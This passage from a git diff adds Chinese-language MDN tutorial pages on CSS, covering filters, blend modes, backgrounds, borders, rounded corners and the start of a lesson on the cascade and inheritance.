rgba(0,0,0,0.7)); +} + +.box-shadow { + box-shadow: 5px 5px 1px rgba(0,0,0,0.7); +}</pre> + +<p>这给了我们一个如下的结果:</p> + +<p>{{ EmbedLiveSample('Filters(滤镜)', '100%', 200) }}</p> + +<p>正如你所看到的, drop-shadow滤镜跟随着文本和border dashes的确切形状。而盒阴影(box-shadow)仅仅跟随着盒的四方。</p> + +<p>其他需要注意的事:</p> + +<ul> + <li>滤镜很新——它们可以被大多数的现代的浏览器支持,包括Microsoft Edge,但它们一点也不能被IE浏览器支持。因此如果你在你的设计中使用滤镜,你需要确保你的内容即使没有滤镜也是可用的。</li> + <li>你会看到我们在<code>filter</code>属性中通过<code>-webkit-</code>前缀包含了一个版本信息,这被称为一个 {{glossary("Vendor Prefix")}},有时会被浏览器使用,以在一个新特性完整实现之前,当它与无前缀版本没有冲突的时候支持并实验这个特性。Vendor prefixes永远都不被指望着被web开发人员使用,但是它们有时候确实会被在产品页面中使用,即当实验性的特性确实被需要时。在这个实例中,Chrome/Safari/Opera 目前要求这些属性的<code>-webkit-</code>版本,而Edge 和 Firefox则使用后者,无前缀版本。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>: 如果你确实决定在你的代码中使用前缀,确保你包括了所有需要的前缀以及无前缀的版本,这样才会有尽可能多的浏览器能够使用这些特性,并且如果浏览器落下了前缀,它们也能够使用无前缀的版本。另外需要注意的是这些实验性的特性可能会有改变,这可能会导致你的代码被破坏,在前缀被去除之前,最好还是仅仅实验这些特性。</p> +</div> + +<p> 你可以看到更多关于滤镜的例子,在 <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/filters.html">filters.html</a> (也可以看 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/filters.html">source code</a>).</p> + +<h2 id="Blend_modes(混合模式)">Blend modes(混合模式)</h2> + +<p>CSS混合模式允许我们为元素添加一个混合模式 ,以当两个元素重叠时,指定一个混合的效果——最终每个像素所展示的颜色将会是原来像素中颜色和其下面一层相组合之后的结果,对于像Photoshop这样的图形程序的用户来说,混合模式应该也非常熟悉。</p> + +<p>这里有两个在 CSS中用到的属性:</p> + +<ul> + <li>{{cssxref("background-blend-mode")}}, 用来将单个元素的多重背景图片和背景颜色设置混合在一起。</li> + <li>{{cssxref("mix-blend-mode")}}, 用来将一个元素与它覆盖的那些元素各自所设置的背景(background)和内容(content)混合在一起。</li> +</ul> + +<p>你可以找到比这里用到的更多的例子,在我们的<a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html">blend-modes.html</a> 示例页面 (查看 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/blend-modes.html">source code</a>), 或者在 {{cssxref("<blend-mode>")}} 参考页面。</p> + +<div class="note"> +<p><strong>注意</strong>: 混合模式(Blend modes )同样也很新,而且略微不如滤镜(filter)的被支持度。至今也没有没Edge支持, 并且 Safari 也仅仅支持部分混合模式选项。</p> +</div> + +<h3 id="background-blend-mode">background-blend-mode</h3> + +<p>让我们再来看一些例子以帮助我们更好的理解这一点。首先,{{cssxref("background-blend-mode")}}——在这里我们将展示一对简单的{{htmlelement("div")}}s,这样你就可以比较原始版本和混合版本:</p> + +<pre class="brush: html"><div> +</div> +<div class="multiply"> +</div></pre> + +<p>现在来点 CSS — 我们正在给<code><div></code>添加一个背景图像和一个绿色的背景色:</p> + +<pre class="brush: css">div { + width: 250px; + height: 130px; + padding: 10px; + margin: 10px; + display: inline-block; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; + background-color: green; +} + +.multiply { + background-blend-mode: multiply; +}</pre> + +<p>我们得到的结果是这样的——你可以看到左边的原始版本,以及右边的多层混合版本:</p> + +<p>{{ EmbedLiveSample('background-blend-mode', '100%', 200) }}</p> + +<h3 id="mix-blend-mode">mix-blend-mode</h3> + +<p>现在让我们看一看 {{cssxref("mix-blend-mode")}}。 这里我们将给出两个相同的<code><div></code>s,但是每个都位于一个有着紫色背景的简单的<code><div></code>上,来向你展示元素们将会怎样混合在一起:</p> + +<pre class="brush: html"><article> + No mix blend mode + <div> + + </div> + <div> + </div> +</article> + +<article> + Multiply mix + <div class="multiply-mix"> + + </div> + <div> + </div> +</article></pre> + +<p>这是我们将用来装饰它的CSS:</p> + +<pre class="brush: css">article { + width: 300px; + height: 180px; + margin: 10px; + position: relative; + display: inline-block; +} + +div { + width: 250px; + height: 130px; + padding: 10px; + margin: 10px; +} + +article div:first-child { + position: absolute; + top: 10px; + left: 0; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; + background-color: green; +} + +article div:last-child { + background-color: purple; + position: absolute; + bottom: -10px; + right: 0; + z-index: -1; +} + +.multiply-mix { + mix-blend-mode: multiply; +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }}</p> + +<p>你可以看到,多层混合(mix-blend)不仅混合了两种背景图像,还混合了在<code><div></code>下面的颜色。</p> + +<div class="note"> +<p><strong>注意:</strong>如果您不理解上面的一些布局属性,请不要担心,像 {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("z-index")}}等。我们将在<a href="/zh-CN/docs/Learn/CSS/CSS_layout">CSS Layout</a>模块中详细地介绍这些内容。</p> +</div> + +<h2 id="-webkit-background-clip_text">-webkit-background-clip: text</h2> + +<p>另一个我们认为在继续之前会提到的新特性(目前支持Chrome、Safari和Opera,和在Firefox正在实现)是{{cssxref("background-clip")}}的 <code>text</code> 值。当与专有 <code>-webkit-text-fill-color: transparent;</code> 特性一起使用时,这允许您将背景图像剪贴到元素文本的形状,从而产生一些不错的效果。这不是一个正式的标准,但是已经在多个浏览器中实现了,因为它很流行,并且被开发人员广泛使用。在这种情况下,这两种属性都需要一个<code>-webkit-</code>供应商前缀,甚至对于非webkit/Chrome-based的浏览器来说也是如此。</p> + +<pre class="brush: css">.text-clip { + -webkit-background-clip: text; + -webkit-text-fill-color: transparent; +}</pre> + +<p>那么为什么其他浏览器会实现一个<code>-webkit-</code>前缀?主要是为了浏览器兼容性——许多web开发人员已经开始使用<code>-webkit-</code>前缀来实现web站点,它开始看起来像其他的浏览器一样被破坏了,而实际上他们遵循的是标准。因此,他们被迫实施了一些这样的功能。这就凸显了在你的工作中使用非标准和/或带前缀的CSS特性的危险——这不仅会导致浏览器兼容性问题,而且还会发生变化,因此你的代码随时可能崩溃。坚持标准要好得多。</p> + +<p>如果您确实希望在您的生产工作中使用这些特性,请确保在浏览器中进行彻底的测试,并检查这些特性不工作的地方,站点仍然可用。</p> + +<div class="note"> +<p><strong>注意:</strong>对于一个完整的<code>-webkit-background-clip: text</code>代码示例,见<a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html">background-clip-text.html</a>(也可以见<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/background-clip-text.html">源码</a>)。</p> +</div> + +<h2 id="自主学习尝试一些效果">自主学习:尝试一些效果</h2> + +<p>现在轮到你了。对于这种自主学习,我们希望您使用下面所提供的代码来试验上面所读到的一些效果。</p> + +<p>如果你犯了一个错误,你可以用<em>Reset</em>按钮来重置这个例子。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><div class="style-me"> +</div></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">.style-me { + width: 280px; + height: 130px; + padding: 10px; + margin: 10px; + display: inline-block; + background-color: red; + background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px, + linear-gradient(to bottom right, #f33, #a33); +} </textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 15em;padding: 10px;border: 1px solid #0095dd;overflow:hidden;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + </div> +</div> +</pre> + +<pre class="brush: js">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 820) }}</p> + +<h2 id="总结">总结</h2> + +<p>我们希望这篇文章被证明是很有趣的——玩着闪亮的玩具通常是很有趣的,而且看看什么样的工具在尖端的浏览器中是可以得到的是我们很感兴趣的。您已经到达了样式盒文章的末尾,因此,接下来您将通过我们的评估来测试您的box syling技能。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> diff --git a/files/zh-cn/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/zh-cn/learn/css/building_blocks/backgrounds_and_borders/index.html new file mode 100644 index 0000000000..ebbfda7feb --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -0,0 +1,318 @@ +--- +title: 背景与边框 +slug: Learn/CSS/Building_blocks/Backgrounds_and_borders +translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders +--- +<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div> + +<p>在这节课中,我们来看看,使用CSS背景和边框来做一些,具有一些创造性的事情。渐变、背景图像和圆角,背景和边框的巧妙运用是CSS中许多样式问题的答案。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>基本知识, HTML基础知识 (如果不了解HTML,请移步 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">学习HTML入门</a>),以及CSS如何工作的基本常识 (如果不了解CSS,请移步 <a href="/en-US/docs/Learn/CSS/First_steps">学习CSS第一步</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何在盒模型中使用背景和边框。</td> + </tr> + </tbody> +</table> + +<h2 id="CSS的背景样式">CSS的背景样式</h2> + +<p>CSS {{cssxref("background")}}属性是我们将在本课中学习的许多普通背景属性的简写。如果您在样式表中发现了一个复杂的背景属性,可能会觉得难以理解,因为可以同时传入这么多值。</p> + +<pre class="brush: css notranslate"><code>.box { + background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, + url(big-star.png) center no-repeat, rebeccapurple; +} </code> +</pre> + +<p>在本教程的后面部分,我们将返回到简写的工作方式,但是首先,我们通过分开使用各个普通背景属性的方式,看一下在CSS中使用背景可以做哪些不同的事情。</p> + +<h3 id="背景颜色">背景颜色</h3> + +<p>{{cssxref("background-color")}}属性定义了CSS中任何元素的背景颜色。属性接受任何有效的<code><color>值</code>。背景色扩展到元素的内容和内边距的下面。</p> + +<p>在下面的示例中,我们使用了各种颜色值来为元素盒子添加背景颜色:heading和{{htmlelement("span")}}元素。</p> + +<p><strong>尝试修改为任何可用的 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/color_value"><color></a> 值。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}</p> + +<h3 id="背景图片">背景图片</h3> + +<p>{{cssxref("background-image")}}属性允许在元素的背景中显示图像。在下面的例子中,我们有两个方框——一个是比方框大的背景图像,另一个是星星的小图像。</p> + +<p>这个例子演示了关于背景图像的两种情形。默认情况下,大图不会缩小以适应方框,因此我们只能看到它的一个小角,而小图则是平铺以填充方框。在这种情况下,实际的图像只是单独的一颗星星。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}</p> + +<p><strong>如果除了背景图像外,还指定了背景颜色,则图像将显示在颜色的顶部。尝试向上面的示例添加一个background-color属性,看看效果如何。</strong></p> + +<h4 id="控制背景平铺">控制背景平铺</h4> + +<p>{{cssxref("background-repeat")}}属性用于控制图像的平铺行为。可用的值是:</p> + +<ul> + <li><code>no-repeat</code> — 不重复。</li> + <li><code>repeat-x</code> —水平重复。</li> + <li><code>repeat-y</code> —垂直重复。</li> + <li><code>repeat</code> — 在两个方向重复。</li> +</ul> + +<p><strong>在下面的示例中尝试这些值。我们已经将值设置为no-repeat,因此您将只能看到一个星星。尝试不同的值—repeat-x和repeat-y—看看它们的效果如何。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}</p> + +<h4 id="调整背景图像的大小">调整背景图像的大小</h4> + +<p>在上面的例子中,我们有一个很大的图像,由于它比作为背景的元素大,所以最后被裁剪掉了。在这种情况下,我们可以使用 {{cssxref("background-size")}}属性,它可以设置长度或百分比值,来调整图像的大小以适应背景。</p> + +<p>你也可以使用关键字:</p> + +<ul> + <li><code>cover</code> —浏览器将使图像足够大,使它完全覆盖了盒子区,同时仍然保持其高宽比。在这种情况下,有些图像可能会跳出盒子外</li> + <li><code>contain</code> — 浏览器将使图像的大小适合盒子内。在这种情况下,如果图像的长宽比与盒子的长宽比不同,则可能在图像的任何一边或顶部和底部出现间隙。</li> +</ul> + +<p>在下面的例子中,我使用了上面例子中的大图,并使用长度单位来调整方框内的大小。你可以看到这扭曲了图像。</p> + +<p>试试下面:</p> + +<ul> + <li>改变用于修改背景大小的长度单位。</li> + <li>去掉长度单位,看看使用<code>background-size: cover</code> or <code>background-size: contain</code>会发生什么。</li> + <li>如果您的图像小于盒子,您可以更改background-repeat的值来重复图像。</li> +</ul> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}</p> + +<h4 id="背景图像定位">背景图像定位</h4> + +<p>{{cssxref("background-position")}}属性允许您选择背景图像显示在其应用到的盒子中的位置。它使用的坐标系中,框的左上角是(0,0),框沿着水平(x)和垂直(y)轴定位。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>默认的背景位置值是(0,0)。</p> +</div> + +<p>最常见的背景位置值有两个单独的值——一个水平值后面跟着一个垂直值。</p> + +<p>你可以使用像<code>top</code>和<code>right</code>这样的关键字(在{{cssxref("background-image")}}页面上查找其他的关键字):</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top center; +} </code> +</pre> + +<p>或者使用 <a href="/en-US/docs/Web/CSS/length">长度值</a>, and <a href="/en-US/docs/Web/CSS/percentage">百分比</a>:</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: 20px 10%; +} </code> +</pre> + +<p>你也可以混合使用关键字,长度值以及百分比,例如:</p> + +<pre class="brush: css notranslate">.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top 20px; +}</pre> + +<p>最后,您还可以使用4-value语法来指示到盒子的某些边的距离——在本例中,长度单位是与其前面的值的偏移量。所以在下面的CSS中,我们将背景从顶部调整20px,从右侧调整10px:</p> + +<pre class="brush: css notranslate"><code>.box { + background-image: url(star.png); + background-repeat: no-repeat; + background-position: top 20px right 10px; +} </code></pre> + +<p><strong>使用下面的示例来处理这些值并在框内移动星星。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><code>background-position</code>是{{cssxref("background-position-x")}}和{{cssxref("background-position-y")}}的简写,它们允许您分别设置不同的坐标轴的值。</p> +</div> + +<h3 id="渐变背景">渐变背景</h3> + +<p>当渐变用于背景时,也可以使用像图像一样的{{cssxref("background-image")}}属性设置。</p> + +<p>您可以在MDN的<code><gradient></code>数据类型页面上,了解更多关于渐变的不同类型,以及使用它们可以做的事情。使用渐变的一个有趣方法是,使用web上可用的许多CSS渐变生成器之一,比如<a href="https://cssgradient.io/">这个 </a>。您可以创建一个渐变,然后复制并粘贴生成它的源代码。</p> + +<p>在下面的示例中尝试一些不同的渐变。在这两个盒子里,我们分别有一个线性梯度,它延伸到整个盒子上,还有一个径向梯度,它有一个固定的大小,因此会重复。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}</p> + +<h3 id="多个背景图像">多个背景图像</h3> + +<p>也可以有多个背景图像——在单个属性值中指定多个<code>background-image</code>值,用逗号分隔每个值。</p> + +<p>当你这样做时,你可能会以背景图像互相重叠而告终。背景将与最后列出的背景图像层在堆栈的底部,背景图像在代码列表中最先出现的在顶端。</p> + + + +<div class="blockIndicator note"> +<p><strong>注意:</strong>渐变可以与常规的背景图像很好地混合在一起。</p> +</div> + +<p>其它 <code>background-*</code>属性,该属性值用逗号分隔的方式设置。例如下列<code>background-image</code>:</p> + +<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); +background-repeat: no-repeat, repeat-x, repeat; +background-position: 10px 20px, top right;</pre> + +<p>不同属性的每个值,将与其他属性中相同位置的值匹配。例如,上面的image1的background-repeat值将是no-repeat。但是,当不同的属性具有不同数量的值时,会发生什么情况呢?答案是较小数量的值会循环—在上面的例子中有四个背景图像,但是只有两个背景位置值。前两个位置值将应用于前两个图像,然后它们将再次循环—image3将被赋予第一个位置值,image4将被赋予第二个位置值。</p> + +<p><strong>我们来试一试。在下面的示例中包含了两个图像。为了演示叠加顺序,请尝试切换哪个背景图像在列表中最先出现。或使用其他属性更改位置、大小或重复值。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}</p> + +<h3 id="背景附加">背景附加</h3> + +<p>另一个可供选择的背景是指定他们如何滚动时,内容滚动。这是由{{cssxref("background-attachment")}}属性控制的,它可以接受以下值:</p> + +<ul> + <li><code>scroll</code>: 使元素的背景在页面滚动时滚动。如果滚动了元素内容,则背景不会移动。实际上,背景被固定在页面的相同位置,所以它会随着页面的滚动而滚动。</li> + <li><code>fixed</code>: 使元素的背景固定在视图端口上,这样当页面或元素内容滚动时,它就不会滚动。它将始终保持在屏幕上相同的位置。</li> + <li><code>local</code>: 这个值是后来添加的(它只在Internet Explorer 9+中受支持,而其他的在IE4+中受支持),因为滚动值相当混乱,在很多情况下并不能真正实现您想要的功能。局部值将背景固定在设置的元素上,因此当您滚动元素时,背景也随之滚动。</li> +</ul> + +<p>{{cssxref("background-attachment")}}属性只有在有内容要滚动时才会有效果,所以我们做了一个示例来演示这三个值之间的区别——看看 <a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a> (或者看看这儿的 <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">源代码</a>))。</p> + +<h3 id="使用background_的简写">使用background 的简写</h3> + +<p>正如我在本课开始时提到的,您将经常看到使用{{cssxref("background")}}属性指定的背景。这种简写允许您一次设置所有不同的属性。</p> + +<p>如果使用多个背景,则需要为第一个背景指定所有普通属性,然后在逗号后面添加下一个背景。在下面的例子中,我们有一个渐变,它指定大小和位置,然后是一个无重复的图像背景,它指定位置,然后是一个颜色。</p> + +<p>这里有一些规则,需要在简写背景属性时遵循,例如:</p> + +<ul> + <li><code>background-color</code> 只能在逗号之后指定。</li> + <li><code>background-size</code> 值只能包含在背景位置之后,用'/'字符分隔,例如:<code>center/80%</code>。</li> +</ul> + +<p>查看{{cssxref("background")}}的MDN页面,以查看所有的注意事项。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}</p> + +<h3 id="背景的可访问性考虑">背景的可访问性考虑</h3> + +<p>当你把文字放在背景图片或颜色上面时,你应该注意你有足够的对比度让文字对你的访客来说是清晰易读的。如果指定了一个图像,并且文本将被放置在该图像的顶部,您还应该指定一个<code>background-color</code> ,以便在图像未加载时文本也足够清晰。</p> + +<p>屏幕阅读者不能解析背景图像,因此背景图片应该只是纯粹的装饰;任何重要的内容都应该是HTML页面的一部分,而不是包含在背景中。</p> + +<h2 id="边框">边框</h2> + +<p>在学习盒子模型时,我们发现了边框如何影响盒子的大小。在这节课中,我们将看看如何创造性地使用边界。通常,当我们使用CSS向元素添加边框时,我们使用一个简写属性在一行CSS中设置边框的颜色、宽度和样式。我们可以使用{{cssxref("border")}}为一个框的所有四个边设置边框。</p> + +<pre class="brush: css notranslate"><code>.box { + border: 1px solid black; +} </code></pre> + +<p>或者我们可以只设置盒子的一个边,例如:</p> + +<pre class="brush: css notranslate"><code>.box { + border-top: 1px solid black; +} </code></pre> + +<p>这些简写的等价于:</p> + +<pre class="brush: css notranslate"><code>.box { + border-width: 1px; + border-style: solid; + border-color: black; +} </code></pre> + +<p>也可以使用更加细粒度的属性:</p> + +<pre class="brush: css notranslate"><code>.box { + border-top-width: 1px; + border-top-style: solid; + border-top-color: black; +} </code></pre> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:这些顶部、右侧、底部和左侧边框属性还具有与文档写入模式相关的映射逻辑属性(例如,从左到右或从右到左的文本,或从上到下)。在下一课中,我们将探讨这些问题,这包括处理不同的文本指示 <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">详情</a>。</p> +</div> + +<p><strong>有各种各样的样式可以用于边框。在下面的例子中,为框的四个边使用了不同的边框样式。调整边框样式、宽度和颜色,看看边框是如何工作的。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}</p> + +<h3 id="圆角">圆角</h3> + +<p>通过使用{{cssxref("border-radius")}}属性和与方框的每个角相关的长边来实现方框的圆角。可以使用两个长度或百分比作为值,第一个值定义水平半径,第二个值定义垂直半径。在很多情况下,您将只传递一个值,这两个值都将使用。</p> + +<p>例如,要使一个盒子的四个角都有10px的圆角半径:</p> + +<pre class="brush: css notranslate"><code>.box { + border-radius: 10px; +} </code></pre> + +<p>或使右上角的水平半径为1em,垂直半径为10%:</p> + +<pre class="brush: css notranslate"><code>.box { + border-top-right-radius: 1em 10%; +} </code></pre> + +<p>我们在下面的示例中设置了所有四个角,然后更改右上角的值使之不同。您可以使用这些值来更改圆角样式。查看{{cssxref("border-radius")}}的属性页,查看可用的语法选项。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}</p> + +<h2 id="玩转背景和边框">玩转背景和边框</h2> + +<p>为了测试你的新知识,尝试使用背景和边框创建以下内容,使用下面的例子作为起点:</p> + +<ol> + <li>给方框一个5px的黑色实心边框,圆角为10px。</li> + <li>添加一个背景图像(使用URL balloons.jpg),并调整它的大小,使它能够覆盖盒子。</li> + <li>给<h2>一个半透明的黑色背景颜色,并使文本为白色。</li> +</ol> + +<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 800)}}</p> + +<div class="blockIndicator note"> +<p><strong>注意</strong>:您可以点击 <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md">这儿</a> 查看解决方案——但请先尝试一下自己能否实现。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>我们在这里已经介绍了很多,您可以看到有很多要添加背景或边框到盒子中。如果您想了解更多关于我们讨论过的特性的信息,请浏览不同的属性页面。MDN上的每个页面都有更多的用法示例,供您玩转并增强您的知识。</p> + +<p>在下一课中,我们将了解文档排版与CSS的相互影响。以及了解当文本不是从左向右流动时会发生什么?</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="模块目录">模块目录</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">层叠与继承</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors">CSS选择器</a> + <ul> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">标签,类,ID选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性选择器</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">伪类和伪元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Selectors/Combinators">关系选择器</a></li> + </ul> + </li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/The_box_model">盒模型</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景与边框</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">处理不同文字方向的文本</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Overflowing_content">溢出的内容</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Values_and_units">值和单位</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">在CSS中调整大小</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Images_media_form_elements">图像、媒体和表单元素</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables">样式化表格</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Debugging_CSS">调试CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing">组织CSS</a><a href="/zh-CN/docs/Learn/CSS/Building_blocks/Organizing"> </a></li> +</ol> diff --git a/files/zh-cn/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/zh-cn/learn/css/building_blocks/cascade_and_inheritance/index.html new file mode 100644 index 0000000000..d3eefdefe6 --- /dev/null +++ b/files/zh-cn/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -0,0 +1,332 @@ +--- +title: 层叠与继承 +slug: Learn/CSS/Building_blocks/Cascade_and_inheritance +translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance +--- +<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div> + +<p>本文旨在让你理解CSS的一些最基本的概念——层叠、优先级和继承——这些概念决定着如何将CSS应用到HTML中,以及如何解决冲突。</p> + +<p>尽管与课程的其他部分相比,完成这节课可能看起来没有那么直接的相关性,而且更学术性一些,但是理解这些东西将为您以后节省很多痛苦! 我希望您仔细阅读本节,并在继续下一步学习之前,确保您是否理解了这些概念。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本的软件</a>,<a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">文件处理</a>基本知识, HTML基础知识 (如果不了解HTML,请移步 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">学习HTML入门</a>),以及CSS如何工作的基本常识 (如果不了解CSS,请移步 <a href="/en-US/docs/Learn/CSS/First_steps">学习CSS第一步</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习层叠、优先级,以及在CSS中继承是如何工作的。</td> + </tr> + </tbody> +</table> + +<h2 id="冲突规则">冲突规则</h2> + +<p>CSS代表<strong>层叠样式表(Cascading Style Sheets)</strong>,理解第一个词<em>cascading</em>很重要— cascade 的表现方式是理解CSS的关键。</p> + +<p>在某些时候,在做一个项目过程中你会发现一些应该产生效果的样式没有生效。通常的原因是你创建了两个应用于同一个元素的规则。<strong>cascade</strong>, 和它密切相关的概念是 <strong>specificity</strong>,决定在发生冲突的时候应该使用哪条规则。设计元素样式的规则可能不是期望的规则,因此需要了解这些机制是如何工作的。</p> + +<p>这里也有<strong>继承</strong>的概念,也就是在默认情况下,一些css属性继承当前元素的父元素上设置的值,有些则不继承。这也可能导致一些和期望不同的结果。</p> + +<p>我们来快速的看下正在处理的关键问题,然后依次了解它们是如何相互影响的,以及如何和css交互的。虽然这些概念难以理解,但是随着不断的练习,你会慢慢熟悉它的工作原理。</p> + +<h3 id="层叠">层叠</h3> + +<p>Stylesheets <strong>cascade(样式表层叠)</strong> — 简单的说,css规则的顺序很重要;当应用两条同级别的规则到一个元素的时候,写在后面的就是实际使用的规则。</p> + +<p>下面的例子中,我们有两个关于 <code>h1</code> 的规则。<code>h1</code> 最后显示蓝色 — 这些规则有相同的优先级,所以顺序在最后的生效。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p> + +<h3 id="优先级">优先级</h3> + +<p>浏览器是根据优先级来决定当多个规则有不同选择器对应相同的元素的时候需要使用哪个规则。它基本上是一个衡量选择器具体选择哪些区域的尺度:</p> + +<ul> + <li>一个元素选择器不是很具体 — 会选择页面上该类型的所有元素 — 所以它的优先级就会低一些。</li> + <li>一个类选择器稍微具体点 — 它会选择该页面中有特定 